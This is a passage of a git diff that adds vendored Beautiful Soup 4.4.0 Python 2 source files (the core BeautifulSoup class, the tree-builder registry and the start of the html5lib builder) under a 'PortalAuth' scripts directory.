and/or html5lib is installed.
|
||||
|
||||
For more than you ever wanted to know about Beautiful Soup, see the
|
||||
documentation:
|
||||
http://www.crummy.com/software/BeautifulSoup/bs4/doc/
|
||||
"""
|
||||
|
||||
__author__ = "Leonard Richardson (leonardr@segfault.org)"
|
||||
__version__ = "4.4.0"
|
||||
__copyright__ = "Copyright (c) 2004-2015 Leonard Richardson"
|
||||
__license__ = "MIT"
|
||||
|
||||
__all__ = ['BeautifulSoup']
|
||||
|
||||
import os
|
||||
import re
|
||||
import warnings
|
||||
|
||||
from .builder import builder_registry, ParserRejectedMarkup
|
||||
from .dammit import UnicodeDammit
|
||||
from .element import (
|
||||
CData,
|
||||
Comment,
|
||||
DEFAULT_OUTPUT_ENCODING,
|
||||
Declaration,
|
||||
Doctype,
|
||||
NavigableString,
|
||||
PageElement,
|
||||
ProcessingInstruction,
|
||||
ResultSet,
|
||||
SoupStrainer,
|
||||
Tag,
|
||||
)
|
||||
|
||||
# The very first thing we do is give a useful error if someone is
|
||||
# running this code under Python 3 without converting it.
|
||||
'You are trying to run the Python 2 version of Beautiful Soup under Python 3. This will not work.'<>'You need to convert the code, either by installing it (`python setup.py install`) or by running 2to3 (`2to3 -w bs4`).'
|
||||
|
||||
class BeautifulSoup(Tag):
|
||||
"""
|
||||
This class defines the basic interface called by the tree builders.
|
||||
|
||||
These methods will be called by the parser:
|
||||
reset()
|
||||
feed(markup)
|
||||
|
||||
The tree builder may call these methods from its feed() implementation:
|
||||
handle_starttag(name, attrs) # See note about return value
|
||||
handle_endtag(name)
|
||||
handle_data(data) # Appends to the current data node
|
||||
endData(containerClass=NavigableString) # Ends the current data node
|
||||
|
||||
No matter how complicated the underlying parser is, you should be
|
||||
able to build a tree using 'start tag' events, 'end tag' events,
|
||||
'data' events, and "done with data" events.
|
||||
|
||||
If you encounter an empty-element tag (aka a self-closing tag,
|
||||
like HTML's <br> tag), call handle_starttag and then
|
||||
handle_endtag.
|
||||
"""
|
||||
ROOT_TAG_NAME = u'[document]'
|
||||
|
||||
# If the end-user gives no indication which tree builder they
|
||||
# want, look for one with these features.
|
||||
DEFAULT_BUILDER_FEATURES = ['html', 'fast']
|
||||
|
||||
ASCII_SPACES = '\x20\x0a\x09\x0c\x0d'
|
||||
|
||||
NO_PARSER_SPECIFIED_WARNING = "No parser was explicitly specified, so I'm using the best available %(markup_type)s parser for this system (\"%(parser)s\"). This usually isn't a problem, but if you run this code on another system, or in a different virtual environment, it may use a different parser and behave differently.\n\nTo get rid of this warning, change this:\n\n BeautifulSoup([your markup])\n\nto this:\n\n BeautifulSoup([your markup], \"%(parser)s\")\n"
|
||||
|
||||
def __init__(self, markup="", features=None, builder=None,
|
||||
parse_only=None, from_encoding=None, exclude_encodings=None,
|
||||
**kwargs):
|
||||
"""The Soup object is initialized as the 'root tag', and the
|
||||
provided markup (which can be a string or a file-like object)
|
||||
is fed into the underlying parser."""
|
||||
|
||||
if 'convertEntities' in kwargs:
|
||||
warnings.warn(
|
||||
"BS4 does not respect the convertEntities argument to the "
|
||||
"BeautifulSoup constructor. Entities are always converted "
|
||||
"to Unicode characters.")
|
||||
|
||||
if 'markupMassage' in kwargs:
|
||||
del kwargs['markupMassage']
|
||||
warnings.warn(
|
||||
"BS4 does not respect the markupMassage argument to the "
|
||||
"BeautifulSoup constructor. The tree builder is responsible "
|
||||
"for any necessary markup massage.")
|
||||
|
||||
if 'smartQuotesTo' in kwargs:
|
||||
del kwargs['smartQuotesTo']
|
||||
warnings.warn(
|
||||
"BS4 does not respect the smartQuotesTo argument to the "
|
||||
"BeautifulSoup constructor. Smart quotes are always converted "
|
||||
"to Unicode characters.")
|
||||
|
||||
if 'selfClosingTags' in kwargs:
|
||||
del kwargs['selfClosingTags']
|
||||
warnings.warn(
|
||||
"BS4 does not respect the selfClosingTags argument to the "
|
||||
"BeautifulSoup constructor. The tree builder is responsible "
|
||||
"for understanding self-closing tags.")
|
||||
|
||||
if 'isHTML' in kwargs:
|
||||
del kwargs['isHTML']
|
||||
warnings.warn(
|
||||
"BS4 does not respect the isHTML argument to the "
|
||||
"BeautifulSoup constructor. Suggest you use "
|
||||
"features='lxml' for HTML and features='lxml-xml' for "
|
||||
"XML.")
|
||||
|
||||
def deprecated_argument(old_name, new_name):
|
||||
if old_name in kwargs:
|
||||
warnings.warn(
|
||||
'The "%s" argument to the BeautifulSoup constructor '
|
||||
'has been renamed to "%s."' % (old_name, new_name))
|
||||
value = kwargs[old_name]
|
||||
del kwargs[old_name]
|
||||
return value
|
||||
return None
|
||||
|
||||
parse_only = parse_only or deprecated_argument(
|
||||
"parseOnlyThese", "parse_only")
|
||||
|
||||
from_encoding = from_encoding or deprecated_argument(
|
||||
"fromEncoding", "from_encoding")
|
||||
|
||||
if len(kwargs) > 0:
|
||||
arg = kwargs.keys().pop()
|
||||
raise TypeError(
|
||||
"__init__() got an unexpected keyword argument '%s'" % arg)
|
||||
|
||||
if builder is None:
|
||||
original_features = features
|
||||
if isinstance(features, basestring):
|
||||
features = [features]
|
||||
if features is None or len(features) == 0:
|
||||
features = self.DEFAULT_BUILDER_FEATURES
|
||||
builder_class = builder_registry.lookup(*features)
|
||||
if builder_class is None:
|
||||
raise FeatureNotFound(
|
||||
"Couldn't find a tree builder with the features you "
|
||||
"requested: %s. Do you need to install a parser library?"
|
||||
% ",".join(features))
|
||||
builder = builder_class()
|
||||
if not (original_features == builder.NAME or
|
||||
original_features in builder.ALTERNATE_NAMES):
|
||||
if builder.is_xml:
|
||||
markup_type = "XML"
|
||||
else:
|
||||
markup_type = "HTML"
|
||||
warnings.warn(self.NO_PARSER_SPECIFIED_WARNING % dict(
|
||||
parser=builder.NAME,
|
||||
markup_type=markup_type))
|
||||
|
||||
self.builder = builder
|
||||
self.is_xml = builder.is_xml
|
||||
self.builder.soup = self
|
||||
|
||||
self.parse_only = parse_only
|
||||
|
||||
if hasattr(markup, 'read'): # It's a file-type object.
|
||||
markup = markup.read()
|
||||
elif len(markup) <= 256:
|
||||
# Print out warnings for a couple beginner problems
|
||||
# involving passing non-markup to Beautiful Soup.
|
||||
# Beautiful Soup will still parse the input as markup,
|
||||
# just in case that's what the user really wants.
|
||||
if (isinstance(markup, unicode)
|
||||
and not os.path.supports_unicode_filenames):
|
||||
possible_filename = markup.encode("utf8")
|
||||
else:
|
||||
possible_filename = markup
|
||||
is_file = False
|
||||
try:
|
||||
is_file = os.path.exists(possible_filename)
|
||||
except Exception, e:
|
||||
# This is almost certainly a problem involving
|
||||
# characters not valid in filenames on this
|
||||
# system. Just let it go.
|
||||
pass
|
||||
if is_file:
|
||||
if isinstance(markup, unicode):
|
||||
markup = markup.encode("utf8")
|
||||
warnings.warn(
|
||||
'"%s" looks like a filename, not markup. You should probably open this file and pass the filehandle into Beautiful Soup.' % markup)
|
||||
if markup[:5] == "http:" or markup[:6] == "https:":
|
||||
# TODO: This is ugly but I couldn't get it to work in
|
||||
# Python 3 otherwise.
|
||||
if ((isinstance(markup, bytes) and not b' ' in markup)
|
||||
or (isinstance(markup, unicode) and not u' ' in markup)):
|
||||
if isinstance(markup, unicode):
|
||||
markup = markup.encode("utf8")
|
||||
warnings.warn(
|
||||
'"%s" looks like a URL. Beautiful Soup is not an HTTP client. You should probably use an HTTP client to get the document behind the URL, and feed that document to Beautiful Soup.' % markup)
|
||||
|
||||
for (self.markup, self.original_encoding, self.declared_html_encoding,
|
||||
self.contains_replacement_characters) in (
|
||||
self.builder.prepare_markup(
|
||||
markup, from_encoding, exclude_encodings=exclude_encodings)):
|
||||
self.reset()
|
||||
try:
|
||||
self._feed()
|
||||
break
|
||||
except ParserRejectedMarkup:
|
||||
pass
|
||||
|
||||
# Clear out the markup and remove the builder's circular
|
||||
# reference to this object.
|
||||
self.markup = None
|
||||
self.builder.soup = None
|
||||
|
||||
def __copy__(self):
|
||||
return type(self)(self.encode(), builder=self.builder)
|
||||
|
||||
def __getstate__(self):
|
||||
# Frequently a tree builder can't be pickled.
|
||||
d = dict(self.__dict__)
|
||||
if 'builder' in d and not self.builder.picklable:
|
||||
del d['builder']
|
||||
return d
|
||||
|
||||
def _feed(self):
|
||||
# Convert the document to Unicode.
|
||||
self.builder.reset()
|
||||
|
||||
self.builder.feed(self.markup)
|
||||
# Close out any unfinished strings and close all the open tags.
|
||||
self.endData()
|
||||
while self.currentTag.name != self.ROOT_TAG_NAME:
|
||||
self.popTag()
|
||||
|
||||
def reset(self):
|
||||
Tag.__init__(self, self, self.builder, self.ROOT_TAG_NAME)
|
||||
self.hidden = 1
|
||||
self.builder.reset()
|
||||
self.current_data = []
|
||||
self.currentTag = None
|
||||
self.tagStack = []
|
||||
self.preserve_whitespace_tag_stack = []
|
||||
self.pushTag(self)
|
||||
|
||||
def new_tag(self, name, namespace=None, nsprefix=None, **attrs):
|
||||
"""Create a new tag associated with this soup."""
|
||||
return Tag(None, self.builder, name, namespace, nsprefix, attrs)
|
||||
|
||||
def new_string(self, s, subclass=NavigableString):
|
||||
"""Create a new NavigableString associated with this soup."""
|
||||
return subclass(s)
|
||||
|
||||
def insert_before(self, successor):
|
||||
raise NotImplementedError("BeautifulSoup objects don't support insert_before().")
|
||||
|
||||
def insert_after(self, successor):
|
||||
raise NotImplementedError("BeautifulSoup objects don't support insert_after().")
|
||||
|
||||
def popTag(self):
|
||||
tag = self.tagStack.pop()
|
||||
if self.preserve_whitespace_tag_stack and tag == self.preserve_whitespace_tag_stack[-1]:
|
||||
self.preserve_whitespace_tag_stack.pop()
|
||||
#print "Pop", tag.name
|
||||
if self.tagStack:
|
||||
self.currentTag = self.tagStack[-1]
|
||||
return self.currentTag
|
||||
|
||||
def pushTag(self, tag):
|
||||
#print "Push", tag.name
|
||||
if self.currentTag:
|
||||
self.currentTag.contents.append(tag)
|
||||
self.tagStack.append(tag)
|
||||
self.currentTag = self.tagStack[-1]
|
||||
if tag.name in self.builder.preserve_whitespace_tags:
|
||||
self.preserve_whitespace_tag_stack.append(tag)
|
||||
|
||||
def endData(self, containerClass=NavigableString):
|
||||
if self.current_data:
|
||||
current_data = u''.join(self.current_data)
|
||||
# If whitespace is not preserved, and this string contains
|
||||
# nothing but ASCII spaces, replace it with a single space
|
||||
# or newline.
|
||||
if not self.preserve_whitespace_tag_stack:
|
||||
strippable = True
|
||||
for i in current_data:
|
||||
if i not in self.ASCII_SPACES:
|
||||
strippable = False
|
||||
break
|
||||
if strippable:
|
||||
if '\n' in current_data:
|
||||
current_data = '\n'
|
||||
else:
|
||||
current_data = ' '
|
||||
|
||||
# Reset the data collector.
|
||||
self.current_data = []
|
||||
|
||||
# Should we add this string to the tree at all?
|
||||
if self.parse_only and len(self.tagStack) <= 1 and \
|
||||
(not self.parse_only.text or \
|
||||
not self.parse_only.search(current_data)):
|
||||
return
|
||||
|
||||
o = containerClass(current_data)
|
||||
self.object_was_parsed(o)
|
||||
|
||||
def object_was_parsed(self, o, parent=None, most_recent_element=None):
|
||||
"""Add an object to the parse tree."""
|
||||
parent = parent or self.currentTag
|
||||
previous_element = most_recent_element or self._most_recent_element
|
||||
|
||||
next_element = previous_sibling = next_sibling = None
|
||||
if isinstance(o, Tag):
|
||||
next_element = o.next_element
|
||||
next_sibling = o.next_sibling
|
||||
previous_sibling = o.previous_sibling
|
||||
if not previous_element:
|
||||
previous_element = o.previous_element
|
||||
|
||||
o.setup(parent, previous_element, next_element, previous_sibling, next_sibling)
|
||||
|
||||
self._most_recent_element = o
|
||||
parent.contents.append(o)
|
||||
|
||||
if parent.next_sibling:
|
||||
# This node is being inserted into an element that has
|
||||
# already been parsed. Deal with any dangling references.
|
||||
index = parent.contents.index(o)
|
||||
if index == 0:
|
||||
previous_element = parent
|
||||
previous_sibling = None
|
||||
else:
|
||||
previous_element = previous_sibling = parent.contents[index-1]
|
||||
if index == len(parent.contents)-1:
|
||||
next_element = parent.next_sibling
|
||||
next_sibling = None
|
||||
else:
|
||||
next_element = next_sibling = parent.contents[index+1]
|
||||
|
||||
o.previous_element = previous_element
|
||||
if previous_element:
|
||||
previous_element.next_element = o
|
||||
o.next_element = next_element
|
||||
if next_element:
|
||||
next_element.previous_element = o
|
||||
o.next_sibling = next_sibling
|
||||
if next_sibling:
|
||||
next_sibling.previous_sibling = o
|
||||
o.previous_sibling = previous_sibling
|
||||
if previous_sibling:
|
||||
previous_sibling.next_sibling = o
|
||||
|
||||
def _popToTag(self, name, nsprefix=None, inclusivePop=True):
|
||||
"""Pops the tag stack up to and including the most recent
|
||||
instance of the given tag. If inclusivePop is false, pops the tag
|
||||
stack up to but *not* including the most recent instqance of
|
||||
the given tag."""
|
||||
#print "Popping to %s" % name
|
||||
if name == self.ROOT_TAG_NAME:
|
||||
# The BeautifulSoup object itself can never be popped.
|
||||
return
|
||||
|
||||
most_recently_popped = None
|
||||
|
||||
stack_size = len(self.tagStack)
|
||||
for i in range(stack_size - 1, 0, -1):
|
||||
t = self.tagStack[i]
|
||||
if (name == t.name and nsprefix == t.prefix):
|
||||
if inclusivePop:
|
||||
most_recently_popped = self.popTag()
|
||||
break
|
||||
most_recently_popped = self.popTag()
|
||||
|
||||
return most_recently_popped
|
||||
|
||||
def handle_starttag(self, name, namespace, nsprefix, attrs):
|
||||
"""Push a start tag on to the stack.
|
||||
|
||||
If this method returns None, the tag was rejected by the
|
||||
SoupStrainer. You should proceed as if the tag had not occured
|
||||
in the document. For instance, if this was a self-closing tag,
|
||||
don't call handle_endtag.
|
||||
"""
|
||||
|
||||
# print "Start tag %s: %s" % (name, attrs)
|
||||
self.endData()
|
||||
|
||||
if (self.parse_only and len(self.tagStack) <= 1
|
||||
and (self.parse_only.text
|
||||
or not self.parse_only.search_tag(name, attrs))):
|
||||
return None
|
||||
|
||||
tag = Tag(self, self.builder, name, namespace, nsprefix, attrs,
|
||||
self.currentTag, self._most_recent_element)
|
||||
if tag is None:
|
||||
return tag
|
||||
if self._most_recent_element:
|
||||
self._most_recent_element.next_element = tag
|
||||
self._most_recent_element = tag
|
||||
self.pushTag(tag)
|
||||
return tag
|
||||
|
||||
def handle_endtag(self, name, nsprefix=None):
|
||||
#print "End tag: " + name
|
||||
self.endData()
|
||||
self._popToTag(name, nsprefix)
|
||||
|
||||
def handle_data(self, data):
|
||||
self.current_data.append(data)
|
||||
|
||||
def decode(self, pretty_print=False,
|
||||
eventual_encoding=DEFAULT_OUTPUT_ENCODING,
|
||||
formatter="minimal"):
|
||||
"""Returns a string or Unicode representation of this document.
|
||||
To get Unicode, pass None for encoding."""
|
||||
|
||||
if self.is_xml:
|
||||
# Print the XML declaration
|
||||
encoding_part = ''
|
||||
if eventual_encoding != None:
|
||||
encoding_part = ' encoding="%s"' % eventual_encoding
|
||||
prefix = u'<?xml version="1.0"%s?>\n' % encoding_part
|
||||
else:
|
||||
prefix = u''
|
||||
if not pretty_print:
|
||||
indent_level = None
|
||||
else:
|
||||
indent_level = 0
|
||||
return prefix + super(BeautifulSoup, self).decode(
|
||||
indent_level, eventual_encoding, formatter)
|
||||
|
||||
# Alias to make it easier to type import: 'from bs4 import _soup'
|
||||
_s = BeautifulSoup
|
||||
_soup = BeautifulSoup
|
||||
|
||||
class BeautifulStoneSoup(BeautifulSoup):
|
||||
"""Deprecated interface to an XML parser."""
|
||||
|
||||
def __init__(self, *args, **kwargs):
|
||||
kwargs['features'] = 'xml'
|
||||
warnings.warn(
|
||||
'The BeautifulStoneSoup class is deprecated. Instead of using '
|
||||
'it, pass features="xml" into the BeautifulSoup constructor.')
|
||||
super(BeautifulStoneSoup, self).__init__(*args, **kwargs)
|
||||
|
||||
|
||||
class StopParsing(Exception):
|
||||
pass
|
||||
|
||||
class FeatureNotFound(ValueError):
|
||||
pass
|
||||
|
||||
|
||||
#By default, act as an HTML pretty-printer.
|
||||
if __name__ == '__main__':
|
||||
import sys
|
||||
soup = BeautifulSoup(sys.stdin)
|
||||
print soup.prettify()
|
||||
324
PortalAuth/includes/scripts/libs/bs4/builder/__init__.py
Executable file
324
PortalAuth/includes/scripts/libs/bs4/builder/__init__.py
Executable file
@@ -0,0 +1,324 @@
|
||||
from collections import defaultdict
|
||||
import itertools
|
||||
import sys
|
||||
from bs4.element import (
|
||||
CharsetMetaAttributeValue,
|
||||
ContentMetaAttributeValue,
|
||||
whitespace_re
|
||||
)
|
||||
|
||||
__all__ = [
|
||||
'HTMLTreeBuilder',
|
||||
'SAXTreeBuilder',
|
||||
'TreeBuilder',
|
||||
'TreeBuilderRegistry',
|
||||
]
|
||||
|
||||
# Some useful features for a TreeBuilder to have.
|
||||
FAST = 'fast'
|
||||
PERMISSIVE = 'permissive'
|
||||
STRICT = 'strict'
|
||||
XML = 'xml'
|
||||
HTML = 'html'
|
||||
HTML_5 = 'html5'
|
||||
|
||||
|
||||
class TreeBuilderRegistry(object):
|
||||
|
||||
def __init__(self):
|
||||
self.builders_for_feature = defaultdict(list)
|
||||
self.builders = []
|
||||
|
||||
def register(self, treebuilder_class):
|
||||
"""Register a treebuilder based on its advertised features."""
|
||||
for feature in treebuilder_class.features:
|
||||
self.builders_for_feature[feature].insert(0, treebuilder_class)
|
||||
self.builders.insert(0, treebuilder_class)
|
||||
|
||||
def lookup(self, *features):
|
||||
if len(self.builders) == 0:
|
||||
# There are no builders at all.
|
||||
return None
|
||||
|
||||
if len(features) == 0:
|
||||
# They didn't ask for any features. Give them the most
|
||||
# recently registered builder.
|
||||
return self.builders[0]
|
||||
|
||||
# Go down the list of features in order, and eliminate any builders
|
||||
# that don't match every feature.
|
||||
features = list(features)
|
||||
features.reverse()
|
||||
candidates = None
|
||||
candidate_set = None
|
||||
while len(features) > 0:
|
||||
feature = features.pop()
|
||||
we_have_the_feature = self.builders_for_feature.get(feature, [])
|
||||
if len(we_have_the_feature) > 0:
|
||||
if candidates is None:
|
||||
candidates = we_have_the_feature
|
||||
candidate_set = set(candidates)
|
||||
else:
|
||||
# Eliminate any candidates that don't have this feature.
|
||||
candidate_set = candidate_set.intersection(
|
||||
set(we_have_the_feature))
|
||||
|
||||
# The only valid candidates are the ones in candidate_set.
|
||||
# Go through the original list of candidates and pick the first one
|
||||
# that's in candidate_set.
|
||||
if candidate_set is None:
|
||||
return None
|
||||
for candidate in candidates:
|
||||
if candidate in candidate_set:
|
||||
return candidate
|
||||
return None
|
||||
|
||||
# The BeautifulSoup class will take feature lists from developers and use them
|
||||
# to look up builders in this registry.
|
||||
builder_registry = TreeBuilderRegistry()
|
||||
|
||||
class TreeBuilder(object):
|
||||
"""Turn a document into a Beautiful Soup object tree."""
|
||||
|
||||
NAME = "[Unknown tree builder]"
|
||||
ALTERNATE_NAMES = []
|
||||
features = []
|
||||
|
||||
is_xml = False
|
||||
picklable = False
|
||||
preserve_whitespace_tags = set()
|
||||
empty_element_tags = None # A tag will be considered an empty-element
|
||||
# tag when and only when it has no contents.
|
||||
|
||||
# A value for these tag/attribute combinations is a space- or
|
||||
# comma-separated list of CDATA, rather than a single CDATA.
|
||||
cdata_list_attributes = {}
|
||||
|
||||
|
||||
def __init__(self):
|
||||
self.soup = None
|
||||
|
||||
def reset(self):
|
||||
pass
|
||||
|
||||
def can_be_empty_element(self, tag_name):
|
||||
"""Might a tag with this name be an empty-element tag?
|
||||
|
||||
The final markup may or may not actually present this tag as
|
||||
self-closing.
|
||||
|
||||
For instance: an HTMLBuilder does not consider a <p> tag to be
|
||||
an empty-element tag (it's not in
|
||||
HTMLBuilder.empty_element_tags). This means an empty <p> tag
|
||||
will be presented as "<p></p>", not "<p />".
|
||||
|
||||
The default implementation has no opinion about which tags are
|
||||
empty-element tags, so a tag will be presented as an
|
||||
empty-element tag if and only if it has no contents.
|
||||
"<foo></foo>" will become "<foo />", and "<foo>bar</foo>" will
|
||||
be left alone.
|
||||
"""
|
||||
if self.empty_element_tags is None:
|
||||
return True
|
||||
return tag_name in self.empty_element_tags
|
||||
|
||||
def feed(self, markup):
|
||||
raise NotImplementedError()
|
||||
|
||||
def prepare_markup(self, markup, user_specified_encoding=None,
|
||||
document_declared_encoding=None):
|
||||
return markup, None, None, False
|
||||
|
||||
def test_fragment_to_document(self, fragment):
|
||||
"""Wrap an HTML fragment to make it look like a document.
|
||||
|
||||
Different parsers do this differently. For instance, lxml
|
||||
introduces an empty <head> tag, and html5lib
|
||||
doesn't. Abstracting this away lets us write simple tests
|
||||
which run HTML fragments through the parser and compare the
|
||||
results against other HTML fragments.
|
||||
|
||||
This method should not be used outside of tests.
|
||||
"""
|
||||
return fragment
|
||||
|
||||
def set_up_substitutions(self, tag):
|
||||
return False
|
||||
|
||||
def _replace_cdata_list_attribute_values(self, tag_name, attrs):
|
||||
"""Replaces class="foo bar" with class=["foo", "bar"]
|
||||
|
||||
Modifies its input in place.
|
||||
"""
|
||||
if not attrs:
|
||||
return attrs
|
||||
if self.cdata_list_attributes:
|
||||
universal = self.cdata_list_attributes.get('*', [])
|
||||
tag_specific = self.cdata_list_attributes.get(
|
||||
tag_name.lower(), None)
|
||||
for attr in attrs.keys():
|
||||
if attr in universal or (tag_specific and attr in tag_specific):
|
||||
# We have a "class"-type attribute whose string
|
||||
# value is a whitespace-separated list of
|
||||
# values. Split it into a list.
|
||||
value = attrs[attr]
|
||||
if isinstance(value, basestring):
|
||||
values = whitespace_re.split(value)
|
||||
else:
|
||||
# html5lib sometimes calls setAttributes twice
|
||||
# for the same tag when rearranging the parse
|
||||
# tree. On the second call the attribute value
|
||||
# here is already a list. If this happens,
|
||||
# leave the value alone rather than trying to
|
||||
# split it again.
|
||||
values = value
|
||||
attrs[attr] = values
|
||||
return attrs
|
||||
|
||||
class SAXTreeBuilder(TreeBuilder):
|
||||
"""A Beautiful Soup treebuilder that listens for SAX events."""
|
||||
|
||||
def feed(self, markup):
|
||||
raise NotImplementedError()
|
||||
|
||||
def close(self):
|
||||
pass
|
||||
|
||||
def startElement(self, name, attrs):
|
||||
attrs = dict((key[1], value) for key, value in list(attrs.items()))
|
||||
#print "Start %s, %r" % (name, attrs)
|
||||
self.soup.handle_starttag(name, attrs)
|
||||
|
||||
def endElement(self, name):
|
||||
#print "End %s" % name
|
||||
self.soup.handle_endtag(name)
|
||||
|
||||
def startElementNS(self, nsTuple, nodeName, attrs):
|
||||
# Throw away (ns, nodeName) for now.
|
||||
self.startElement(nodeName, attrs)
|
||||
|
||||
def endElementNS(self, nsTuple, nodeName):
|
||||
# Throw away (ns, nodeName) for now.
|
||||
self.endElement(nodeName)
|
||||
#handler.endElementNS((ns, node.nodeName), node.nodeName)
|
||||
|
||||
def startPrefixMapping(self, prefix, nodeValue):
|
||||
# Ignore the prefix for now.
|
||||
pass
|
||||
|
||||
def endPrefixMapping(self, prefix):
|
||||
# Ignore the prefix for now.
|
||||
# handler.endPrefixMapping(prefix)
|
||||
pass
|
||||
|
||||
def characters(self, content):
|
||||
self.soup.handle_data(content)
|
||||
|
||||
def startDocument(self):
|
||||
pass
|
||||
|
||||
def endDocument(self):
|
||||
pass
|
||||
|
||||
|
||||
class HTMLTreeBuilder(TreeBuilder):
|
||||
"""This TreeBuilder knows facts about HTML.
|
||||
|
||||
Such as which tags are empty-element tags.
|
||||
"""
|
||||
|
||||
preserve_whitespace_tags = set(['pre', 'textarea'])
|
||||
empty_element_tags = set(['br' , 'hr', 'input', 'img', 'meta',
|
||||
'spacer', 'link', 'frame', 'base'])
|
||||
|
||||
# The HTML standard defines these attributes as containing a
|
||||
# space-separated list of values, not a single value. That is,
|
||||
# class="foo bar" means that the 'class' attribute has two values,
|
||||
# 'foo' and 'bar', not the single value 'foo bar'. When we
|
||||
# encounter one of these attributes, we will parse its value into
|
||||
# a list of values if possible. Upon output, the list will be
|
||||
# converted back into a string.
|
||||
cdata_list_attributes = {
|
||||
"*" : ['class', 'accesskey', 'dropzone'],
|
||||
"a" : ['rel', 'rev'],
|
||||
"link" : ['rel', 'rev'],
|
||||
"td" : ["headers"],
|
||||
"th" : ["headers"],
|
||||
"td" : ["headers"],
|
||||
"form" : ["accept-charset"],
|
||||
"object" : ["archive"],
|
||||
|
||||
# These are HTML5 specific, as are *.accesskey and *.dropzone above.
|
||||
"area" : ["rel"],
|
||||
"icon" : ["sizes"],
|
||||
"iframe" : ["sandbox"],
|
||||
"output" : ["for"],
|
||||
}
|
||||
|
||||
def set_up_substitutions(self, tag):
|
||||
# We are only interested in <meta> tags
|
||||
if tag.name != 'meta':
|
||||
return False
|
||||
|
||||
http_equiv = tag.get('http-equiv')
|
||||
content = tag.get('content')
|
||||
charset = tag.get('charset')
|
||||
|
||||
# We are interested in <meta> tags that say what encoding the
|
||||
# document was originally in. This means HTML 5-style <meta>
|
||||
# tags that provide the "charset" attribute. It also means
|
||||
# HTML 4-style <meta> tags that provide the "content"
|
||||
# attribute and have "http-equiv" set to "content-type".
|
||||
#
|
||||
# In both cases we will replace the value of the appropriate
|
||||
# attribute with a standin object that can take on any
|
||||
# encoding.
|
||||
meta_encoding = None
|
||||
if charset is not None:
|
||||
# HTML 5 style:
|
||||
# <meta charset="utf8">
|
||||
meta_encoding = charset
|
||||
tag['charset'] = CharsetMetaAttributeValue(charset)
|
||||
|
||||
elif (content is not None and http_equiv is not None
|
||||
and http_equiv.lower() == 'content-type'):
|
||||
# HTML 4 style:
|
||||
# <meta http-equiv="content-type" content="text/html; charset=utf8">
|
||||
tag['content'] = ContentMetaAttributeValue(content)
|
||||
|
||||
return (meta_encoding is not None)
|
||||
|
||||
def register_treebuilders_from(module):
|
||||
"""Copy TreeBuilders from the given module into this module."""
|
||||
# I'm fairly sure this is not the best way to do this.
|
||||
this_module = sys.modules['bs4.builder']
|
||||
for name in module.__all__:
|
||||
obj = getattr(module, name)
|
||||
|
||||
if issubclass(obj, TreeBuilder):
|
||||
setattr(this_module, name, obj)
|
||||
this_module.__all__.append(name)
|
||||
# Register the builder while we're at it.
|
||||
this_module.builder_registry.register(obj)
|
||||
|
||||
class ParserRejectedMarkup(Exception):
|
||||
pass
|
||||
|
||||
# Builders are registered in reverse order of priority, so that custom
|
||||
# builder registrations will take precedence. In general, we want lxml
|
||||
# to take precedence over html5lib, because it's faster. And we only
|
||||
# want to use HTMLParser as a last result.
|
||||
from . import _htmlparser
|
||||
register_treebuilders_from(_htmlparser)
|
||||
try:
|
||||
from . import _html5lib
|
||||
register_treebuilders_from(_html5lib)
|
||||
except ImportError:
|
||||
# They don't have html5lib installed.
|
||||
pass
|
||||
try:
|
||||
from . import _lxml
|
||||
register_treebuilders_from(_lxml)
|
||||
except ImportError:
|
||||
# They don't have lxml installed.
|
||||
pass
|
||||
329
PortalAuth/includes/scripts/libs/bs4/builder/_html5lib.py
Executable file
329
PortalAuth/includes/scripts/libs/bs4/builder/_html5lib.py
Executable file
@@ -0,0 +1,329 @@
|
||||
__all__ = [
|
||||
'HTML5TreeBuilder',
|
||||
]
|
||||
|
||||
from pdb import set_trace
|
||||
import warnings
|
||||
from bs4.builder import (
|
||||
PERMISSIVE,
|
||||
HTML,
|
||||
HTML_5,
|
||||
HTMLTreeBuilder,
|
||||
)
|
||||
from bs4.element import (
|
||||
NamespacedAttribute,
|
||||
whitespace_re,
|
||||
)
|
||||
import html5lib
|
||||
from html5lib.constants import namespaces
|
||||
from bs4.element import (
|
||||
Comment,
|
||||
Doctype,
|
||||
NavigableString,
|
||||
Tag,
|
||||
)
|
||||
|
||||
class HTML5TreeBuilder(HTMLTreeBuilder):
|
||||
"""Use html5lib to build a tree."""
|
||||
|
||||
NAME = "html5lib"
|
||||
|
||||
features = [NAME, PERMISSIVE, HTML_5, HTML]
|
||||
|
||||
def prepare_markup(self, markup, user_specified_encoding,
|
||||
document_declared_encoding=None, exclude_encodings=None):
|
||||
# Store the user-specified encoding for use later on.
|
||||
self.user_specified_encoding = user_specified_encoding
|
||||
|
||||
# document_declared_encoding and exclude_encodings aren't used
|
||||
# ATM because the html5lib TreeBuilder doesn't use
|
||||
# UnicodeDammit.
|
||||
if exclude_encodings:
|
||||
warnings.warn("You provided a value for exclude_encoding, but the html5lib tree builder doesn't support exclude_encoding.")
|
||||
yield (markup, None, None, False)
|
||||
|
||||
# These methods are defined by Beautiful Soup.
|
||||
def feed(self, markup):
|
||||
if self.soup.parse_only is not None:
|
||||
warnings.warn("You provided a value for parse_only, but the html5lib tree builder doesn't support parse_only. The entire document will be parsed.")
|
||||
parser = html5lib.HTMLParser(tree=self.create_treebuilder)
|
||||
doc = parser.parse(markup, encoding=self.user_specified_encoding)
|
||||
|
||||
# Set the character encoding detected by the tokenizer.
|
||||
if isinstance(markup, unicode):
|
||||
# We need to special-case this because html5lib sets
|
||||
# charEncoding to UTF-8 if it gets Unicode input.
|
||||
doc.original_encoding = None
|
||||
else:
|
||||
doc.original_encoding = parser.tokenizer.stream.charEncoding[0]
|
||||
|
||||
def create_treebuilder(self, namespaceHTMLElements):
|
||||
self.underlying_builder = TreeBuilderForHtml5lib(
|
||||
self.soup, namespaceHTMLElements)
|
||||
return self.underlying_builder
|
||||
|
||||
def test_fragment_to_document(self, fragment):
|
||||
"""See `TreeBuilder`."""
|
||||
return u'<html><head></head><body>%s</body></html>' % fragment
|
||||
|
||||
|
||||
class TreeBuilderForHtml5lib(html5lib.treebuilders._base.TreeBuilder):
|
||||
|
||||
def __init__(self, soup, namespaceHTMLElements):
|
||||
self.soup = soup
|
||||
super(TreeBuilderForHtml5lib, self).__init__(namespaceHTMLElements)
|
||||
|
||||
def documentClass(self):
|
||||
self.soup.reset()
|
||||
return Element(self.soup, self.soup, None)
|
||||
|
||||
def insertDoctype(self, token):
|
||||
name = token["name"]
|
||||
publicId = token["publicId"]
|
||||
systemId = token["systemId"]
|
||||
|
||||
doctype = Doctype.for_name_and_ids(name, publicId, systemId)
|
||||
self.soup.object_was_parsed(doctype)
|
||||
|
||||
